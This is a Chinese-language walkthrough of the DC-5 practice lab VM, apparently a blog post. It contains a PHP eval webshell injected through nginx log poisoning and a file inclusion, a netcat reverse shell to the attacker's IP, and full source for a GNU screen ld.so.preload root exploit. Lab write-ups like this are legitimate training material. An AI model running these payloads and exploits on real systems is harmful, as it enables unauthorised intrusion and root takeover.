靶场信息

靶场描述

DC-5 是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

计划是让 DC-5 提高一个档次,所以这对初学者来说可能不是很好,但对于有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也会如此)。

据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面的刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。

只是为了记录,没有涉及 phpmailer 漏洞利用。:-)

这一挑战的最终目标是获得根并阅读唯一的标志。

必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。

对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

但如果你真的,真的被卡住了,你可以观看这个展示第一步的视频。

技术信息

DC-5 是基于 Debian 64 位构建的 VirtualBox VM,但在大多数 PC 上运行它应该没有任何问题。

我已经在 VMWare Player 上对此进行了测试,但如果在 VMware 中运行此 VM 有任何问题,请通读此内容。

它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。

安装很简单 - 下载它,解压缩,然后将它导入 VirtualBox 或 VMWare,然后就可以了。

开始

存活主机

image-20220911084525280

1
2
dc-5 : 192.168.169.230
kali : 192.168.169.220

扫描IP

image-20220911084829125

  • 80 先放访问下网页

网页

image-20220911085009888

扫一下目录

  • 安装工具
1
apt-get install dirsearch
  • 扫描
1
dirsearch -u http://192.168.169.230/

image-20220911085942688

  • 访问目录

image-20220911090136439

  • 这个目录每次刷新日期都会变化

  • 并且thankyou.php包含了footer.php页面,尝试使用文件包含漏洞

image-20220911090604740

  • 随便写点东西 提交,bp抓包

image-20220911090710258

  • 传入一句话
1
<?php @eval($_POST['111']);?>

image-20220911090930484

  • nginx 日志

image-20220911091833231

image-20220911092101281

1
http://192.168.169.230/thankyou.php?file=/var/log/nginx/error.log
  • 连接一句话

image-20220911092241167

image-20220911092255438

nc监听

kali :

1
nc -lvnp 4444

DC - 5

1
nc 192.168.169.220 4444 -e /bin/sh

image-20220911092641289

image-20220911092710018

  • 反弹shell
1
python -c 'import pty;pty.spawn("/bin/bash")'

image-20220911092759247

寻找带权限的文件夹

1
find / -perm -u=s -type f 2>/dev/null

image-20220911093058033

1
Screen是一个全屏窗口管理器,它在多个进程(通常是交互式shell)之间多路传输物理终端。每个虚拟终端提供DEC VT100终端的功能,以及ANSI X3的几个控制功能。64(ISO 6429)和ISO 2022标准(例如,插入/删除行和支持多个字符集)。每个虚拟终端都有一个回滚历史缓冲区和一个复制粘贴机制,允许用户在窗口之间移动文本区域。当调用screen时,它会创建一个包含shell(或指定命令)的窗口,然后避开您的方式,以便您可以正常使用该程序。然后,您可以随时创建包含其他程序(包括更多shell)的新(全屏)窗口、关闭当前窗口、查看活动窗口列表、打开和关闭输出日志、在窗口之间复制文本、查看滚动历史记录、在窗口之间切换,等等。所有窗口都完全独立运行其程序。当窗口当前不可见时,甚至当整个屏幕会话与用户终端分离时,程序仍继续运行。

搜索漏洞

image-20220911093425215

image-20220911094207729

这份文档要分成三个部分来看

  • 第一部的

image-20220911095559174

新建文件 libhax.c 先将第一部分内容写到 libhax.c 中

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

编译

1
gcc -fPIC -shared -ldl -o libhax.so libhax.c
  • 第二部分

image-20220911095840987

  • 新建文件 rootshell.c 第二部分保存到 rootshell.c
1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

编译

1
gcc -o rootshell rootshell.c
  • 第三部分

新建 dc5.sh

将最后一部分代码写入dc5.sh文件中。需要注意的是,需要在文件开头写入#!/bin/bash表示执行环境。最后保存是需要输入:set ff=unix是为了防止脚本的格式错误。

1
2
3
4
5
6
7
8
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
  • 上传

image-20220911102542262

执行

image-20220911110027313

image-20220911110043851